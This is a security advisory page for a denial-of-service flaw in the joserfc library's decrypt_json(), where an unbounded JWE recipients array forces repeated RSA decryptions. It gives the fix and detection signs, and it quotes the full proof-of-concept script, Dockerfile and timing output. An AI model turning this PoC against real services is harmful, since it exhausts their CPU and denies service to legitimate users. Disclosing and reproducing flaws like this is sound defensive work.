CVE-2026-119283: joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption
joserfc before 1.7.5 puts no cap on the `recipients` array of a JWE General JSON document. An unauthenticated attacker can send one request that forces an RSA private-key decryption for every recipient, exhausting CPU on any service that calls `jwe.decrypt_json()` with an RSA key. Upgrade to joserfc 1.7.5.
Published Oct 30, 2026 · Analysis Oct 31, 2026
What an attacker can do
joserfc.jwe.decrypt_json() parses General JSON JWE input. It iterates over every entry in recipients with no limit, then _perform_decrypt() calls decrypt_recipient() for each one. With RSA-OAEP or RSA1_5 each call is a real RSA private-key operation. Other parts of a JWE already have size caps, but the recipient count did not.
The attacker needs only the victim's public key, which is public by design, and a route that feeds untrusted JWE JSON to decrypt_json(). No login is needed. In the reporter's tests with an RSA-2048 key, 500 recipients (about 198 KB) cost 0.63 seconds, 1,500 recipients (about 594 KB) cost 1.87 seconds, and 3,000 recipients (about 1.2 MB) cost 3.76 seconds. Cost grows in step with request size at about 396 bytes per recipient. Repeated or concurrent requests can saturate workers.
Setting verify_all_recipients=False does not help. The decrypt loop runs before that flag is checked, and timings were the same with either value. Confidentiality and integrity are not affected.
Who is affected
joserfc versions below 1.7.5 are affected when an application decrypts General JSON JWE input with decrypt_json() and an RSA key-management algorithm such as RSA-OAEP or RSA1_5. Applications that only handle compact JWE are not on this code path.
pip show joserfcSearch your code for decrypt_json to see whether you expose the path.
joserfc
- Ecosystem
- PyPI
- Affected
- < 1.7.5
- Fixed in
- 1.7.5
- Check
pip show joserfc
How to fix it
Upgrade to joserfc 1.7.5:
pip install --upgrade "joserfc>=1.7.5"The release adds a max_recipients setting to JWERegistry. The release notes do not state its default, so check the value in your installed version and lower it if your application never expects many recipients. No other workaround is given. Until you upgrade, limit request body size and rate-limit endpoints that accept JWE JSON.
How to tell if you were hit
Look for sustained CPU spikes on endpoints that decrypt JWEs, and for unusually large request bodies (hundreds of KB to MB) containing a JSON recipients array with hundreds of entries. Request logs showing slow responses on those endpoints from a single client are a signal. The sources describe no log line specific to this flaw.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
joserfc.jwe.decrypt_json(), the library's public parser for JWE General JSON Serialization, accepts an attacker-controlled recipients array of unbounded length and performs one full private-key decryption operation (decrypt_cek) for every recipient present in the input, with no cap on recipient count. An unauthenticated network attacker who can send a JWE General JSON document to any endpoint that decrypts it with an RSA key (e.g. RSA-OAEP) can force the victim to perform an arbitrary, attacker-chosen number of RSA private-key decryption operations from a single, relatively small HTTP request. This gives the attacker a highly asymmetric CPU-exhaustion (Denial of Service) primitive: local reproduction shows request size growing linearly with recipient count (~396 bytes/recipient) while server-side CPU time grows in lock-step (near 1:1 ratio between recipient-count growth and decrypt-time growth), and the library's only documented mitigation knob, verify_all_recipients=False, does not reduce the CPU cost, since the decrypt loop attempts every recipient's decrypt_cek() unconditionally before that flag is ever consulted. This is CWE-400 (Uncontrolled Resource Consumption) with CVSS v3.1 Base Score 7.5 (High).
Details
joserfc validates and caps several structural elements of a JWE (protected header size, encrypted key size, IV size, ciphertext size, and auth-tag size) inside src/joserfc/_rfc7516/registry.py, but performs no validation whatsoever on the number of entries in the `recipients` array of a JWE General JSON Serialization object.
Data flow (source → sink), verified directly against the repository source at commit 26a10275e88276184f91ae2a6409647bfac7fea5 (joserfc 1.7.4):
src/joserfc/jwe.py:214— public parser entry pointdecrypt_json(data, private_key, ...). This is a documented, unauthenticated (at the library boundary) API for parsing externally supplied JWE JSON.src/joserfc/jwe.py:238— if"recipients"is present in the input dict,extract_general_json(...)is invoked.src/joserfc/_rfc7516/json.py:84-86— iteratesfor item in data["recipients"]:and appends aRecipientobject for every entry, with no upper bound check onlen(data["recipients"]): ``python for item in data["recipients"]: recipient = __extract_recipient(obj, item, registry) obj.recipients.append(recipient)``src/joserfc/jwe.py:252— the private key is attached to every extracted recipient.src/joserfc/_rfc7516/message.py:103-112—_perform_decrypt()loops over every recipient inobj.recipientsand callsdecrypt_recipient(...)for each one, regardless of how many there are: ``python cek_set = set() for recipient in obj.recipients: headers = recipient.headers() registry.check_header(headers, True) alg = registry.get_alg(headers["alg"]) try: cek = decrypt_recipient(alg, enc, recipient, tag) cek_set.add(cek)``src/joserfc/_rfc7518/jwe_algs.py:74-83— for RSA-OAEP/RSA1_5 recipients, this dispatches to the sink, a genuine RSA private-key operation: ``python def decrypt_cek(self, recipient: Recipient[RSAKey]) -> bytes: key = recipient.recipient_key assert key is not None self.check_key_type(key) op_key = key.get_op_key("decrypt") try: assert recipient.encrypted_key is not None cek = op_key.decrypt(recipient.encrypted_key, self.padding)``
Confirmed by direct inspection of src/joserfc/_rfc7516/registry.py: size caps exist for max_header_length, max_encrypted_key_length, max_iv_length, max_ciphertext_length, and max_auth_tag_length (registry.py:52-62, 103-121), but no max_recipients (or equivalent) field or check exists anywhere in registry.py, json.py, or jwe.py.
Critically, the loop in message.py:103-112 calls decrypt_recipient() for every recipient unconditionally — this happens *before* registry.verify_all_recipients is ever consulted. Setting verify_all_recipients=False (the library's only documented related option) therefore changes whether a decrypt failure raises an exception, but does not reduce the number of RSA private-key operations performed, and thus does not mitigate the CPU cost. This was independently confirmed at runtime (see PoC results below): decrypt time is statistically identical between verify_all_recipients=True and verify_all_recipients=False for the same recipient count.
decrypt_json() is not a demo-only or admin-only code path: it is documented in docs/guide/jwe.rst:156-182 as the standard way to parse and decrypt an externally received General JSON JWE, and requires no special/non-default configuration to trigger. This is functionally analogous to two other resource-exhaustion issues already fixed in the same codebase — the PBES2 p2c iteration cap (src/joserfc/_rfc7518/jwe_algs.py:237-239) and the JWE compression "zip bomb" size cap (src/joserfc/_rfc7518/jwe_zips.py:11,26-28) — indicating the recipient-count case was simply missed from the same class of hardening.
PoC
Both static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source.
Environment setup (Dockerfile):
FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]Build and run (source is used unmodified; container has no network access):
docker build -t joserfc-vuln001 -f vuln-001/Dockerfile .
docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500PoC logic (`poc.py`): generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (GeneralJSONEncryption) wrapping a small plaintext with an attacker-chosen number n of RSA-OAEP recipients (all using the victim's public key, which is inherently public for JWE encryption), then calls the unmodified public API joserfc.jwe.decrypt_json() and measures wall-clock decrypt time, once with verify_all_recipients=True and once with verify_all_recipients=False.
def build_token(public_key, n_recipients: int) -> tuple[str, int]:
obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
for _ in range(n_recipients):
obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
token = jwe.encrypt_json(obj, None)
size_bytes = len(json.dumps(token).encode())
return token, size_bytes
def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
registry = JWERegistry(verify_all_recipients=verify_all_recipients)
t0 = time.perf_counter()
out = jwe.decrypt_json(token, private_key, registry=registry)
dt = time.perf_counter() - t0
assert out.plaintext == b"hello"
return dtObserved results (Phase 2, inside the Docker container, `--network none`, unmodified source):
[*] Attacker crafts General JSON JWE with recipients=1 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001
[*] Attacker crafts General JSON JWE with recipients=500 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651
[*] Attacker crafts General JSON JWE with recipients=1500 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875
[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x
[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with
no upper bound, and verify_all_recipients=False did not mitigate the cost.Independent static-phase (Phase 1) reproduction against the same commit, outside the container, produced the same linear-scaling behavior (recipients=500 → 198,140 bytes → 0.627s; recipients=1500 → 594,140 bytes → 1.957s), and the original report's own local run showed recipients=1000 → 396,140 bytes → 1.254s; recipients=3000 → 1,188,140 bytes → 3.762s. In every run, plaintext=b'hello' was correctly recovered, confirming each crafted request is fully valid input, not malformed data rejected early.
In all cases, verify_all_recipients=False produced decrypt times statistically identical to verify_all_recipients=True for the same recipient count (e.g. 500 recipients: 0.631s vs 0.651s; 1500 recipients: 1.874s vs 1.875s), empirically confirming that this documented flag does not mitigate the CPU cost.
Impact
This is a remote, unauthenticated CPU-exhaustion Denial-of-Service vulnerability (CWE-400, Uncontrolled Resource Consumption). Any application that:
- exposes an endpoint (or message-processing path) that accepts JWE data in General JSON Serialization form, and
- decrypts it using
joserfc.jwe.decrypt_json()with an RSA-based key-management algorithm (e.g. RSA-OAEP, RSA1_5)
is impacted. The attacker needs only the victim's RSA public key — which is inherently public, since it is used by legitimate senders to encrypt JWEs to the victim. Because request size scales linearly with recipient count (~396 bytes per recipient) while attacker-inflicted server CPU cost scales in lock-step with recipient count, the attacker gets a highly favorable cost asymmetry: e.g. a ~1.2 MB request forced ~3.8 seconds of RSA-2048 private-key decrypt operations in testing. Repeated or concurrent requests of this shape can exhaust available CPU/worker capacity on the victim service, degrading or denying availability for legitimate users. Confidentiality and integrity are not affected (no key material or plaintext is disclosed or corrupted); the impact is availability only, matching the CVSS vector's C:N/I:N/A:H.
Reproduction artifacts
Dockerfile
# VULN-001 dynamic reproduction environment
# Unbounded JWE General JSON "recipients" array causes CPU exhaustion via
# repeated RSA private-key decryption in joserfc's decrypt_json().
#
# This image builds joserfc from the local repository clone (unmodified
# source) and provides a Python environment to run poc.py against it.
FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]poc.py
"""
VULN-001 dynamic PoC: Unbounded JWE General JSON "recipients" array causes
CPU exhaustion (CWE-400) via repeated RSA private-key decryption inside
joserfc's public parser API `joserfc.jwe.decrypt_json()`.
Data flow reproduced end to end (unmodified joserfc source):
1. joserfc.jwe.decrypt_json() (src/joserfc/jwe.py:214)
2. -> extract_general_json() (src/joserfc/_rfc7516/json.py:73)
3. -> for item in data["recipients"]: (NO COUNT CAP) (src/joserfc/_rfc7516/json.py:84)
4. -> perform_decrypt() -> _perform_decrypt() (src/joserfc/_rfc7516/message.py:93-112)
5. -> for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient,
regardless of registry.verify_all_recipients
6. -> RSAAlgModel.decrypt_cek(): op_key.decrypt(...) (src/joserfc/_rfc7518/jwe_algs.py:74-83)
performs one real RSA-2048 private-key decrypt operation per recipient.
This script:
(a) builds a victim RSA keypair (2048-bit, as an application would use for
RSA-OAEP JWE decryption),
(b) crafts a General JSON JWE token with an attacker-chosen number of
RSA-OAEP recipients, all wrapping the SAME small ciphertext,
(c) measures wall-clock CPU time joserfc's unmodified decrypt_json() spends
processing the token as the recipient count grows,
(d) shows that setting verify_all_recipients=False (the only public
mitigation knob mentioned in the docs) does NOT reduce the CPU cost,
because the decrypt loop in message.py always attempts every
recipient's decrypt_cek() before that flag is ever consulted.
Deterministic PASS criteria (printed as machine-readable JSON lines):
- decrypt_json() succeeds (returns correct plaintext) for all recipient counts.
- decrypt_seconds scales roughly linearly with recipient count (attacker
control over victim CPU cost, unbounded by the library).
- decrypt_seconds for verify_all_recipients=False is statistically the same
order of magnitude as verify_all_recipients=True for the same recipient
count (proving the documented mitigation does not help).
"""
import argparse
import json
import time
from joserfc import jwe, jwk
from joserfc.jwe import GeneralJSONEncryption
from joserfc.jwe import JWERegistry
def build_token(public_key, n_recipients: int) -> tuple[str, int]:
"""Craft a General JSON JWE with n_recipients RSA-OAEP recipients,
all wrapping the same small plaintext. This is exactly the shape an
unauthenticated network attacker can send to any endpoint that calls
jwe.decrypt_json() on external input, as documented in
docs/guide/jwe.rst."""
obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
for _ in range(n_recipients):
obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
token = jwe.encrypt_json(obj, None)
size_bytes = len(json.dumps(token).encode())
return token, size_bytes
def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
registry = JWERegistry(verify_all_recipients=verify_all_recipients)
t0 = time.perf_counter()
out = jwe.decrypt_json(token, private_key, registry=registry)
dt = time.perf_counter() - t0
assert out.plaintext == b"hello", f"unexpected plaintext: {out.plaintext!r}"
return dt
def main():
parser = argparse.ArgumentParser(description="VULN-001 dynamic reproduction PoC")
parser.add_argument(
"--recipients",
type=int,
nargs="+",
default=[1, 500, 1500],
help="Recipient counts to test (attacker-controlled array length).",
)
parser.add_argument(
"--key-bits",
type=int,
default=2048,
help="RSA key size of the victim's decryption key.",
)
args = parser.parse_args()
print(f"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...")
private_key = jwk.RSAKey.generate_key(args.key_bits)
public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False))
print("[*] Victim private key generated locally; public key is what an attacker would normally have.")
results = []
for n in args.recipients:
print(f"\n[*] Attacker crafts General JSON JWE with recipients={n} ...")
token, size_bytes = build_token(public_key, n)
dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True)
print(
f" verify_all_recipients=True -> decrypt_json() succeeded, "
f"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}"
)
dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False)
print(
f" verify_all_recipients=False -> decrypt_json() succeeded, "
f"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} "
f"(documented 'mitigation' does NOT reduce CPU cost)"
)
results.append(
{
"recipients": n,
"size_bytes": size_bytes,
"decrypt_seconds_verify_all_true": round(dt_verify_true, 3),
"decrypt_seconds_verify_all_false": round(dt_verify_false, 3),
}
)
print("\n[RESULT_JSON] " + json.dumps(results))
# Deterministic scaling check: CPU time for the largest recipient count
# must be substantially larger (order of magnitude, not noise) than for
# the smallest, proving attacker control over victim CPU consumption.
baseline = results[0]["decrypt_seconds_verify_all_true"]
worst = results[-1]["decrypt_seconds_verify_all_true"]
ratio = worst / baseline if baseline > 0 else float("inf")
recipient_ratio = results[-1]["recipients"] / results[0]["recipients"]
print(
f"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x "
f"decrypt_time_ratio={ratio:.1f}x "
f"(unbounded recipients => unbounded RSA-decrypt CPU cost, no cap in registry.py)"
)
if ratio < recipient_ratio * 0.3:
print("[FAIL] Decrypt time did not scale with recipient count as expected.")
raise SystemExit(1)
print("[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied "
"recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.")
if __name__ == "__main__":
main()Credited to EQSTLab, useworld.
Questions
- Does `verify_all_recipients=False` protect against CVE-2026-119283?
No. The decrypt loop attempts every recipient before that flag is consulted. The reporter measured the same decrypt time with the flag set to True or False.
- Is compact JWE affected?
The advisory covers the General JSON
recipientsarray parsed bydecrypt_json(). Compact serialization carries a single recipient, so it does not have this array.- Does the attacker need credentials or the private key?
No. The attacker needs only the target's public RSA key and a way to submit a JWE JSON document. The CVSS vector rates it network, no privileges, no user interaction, availability impact only.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
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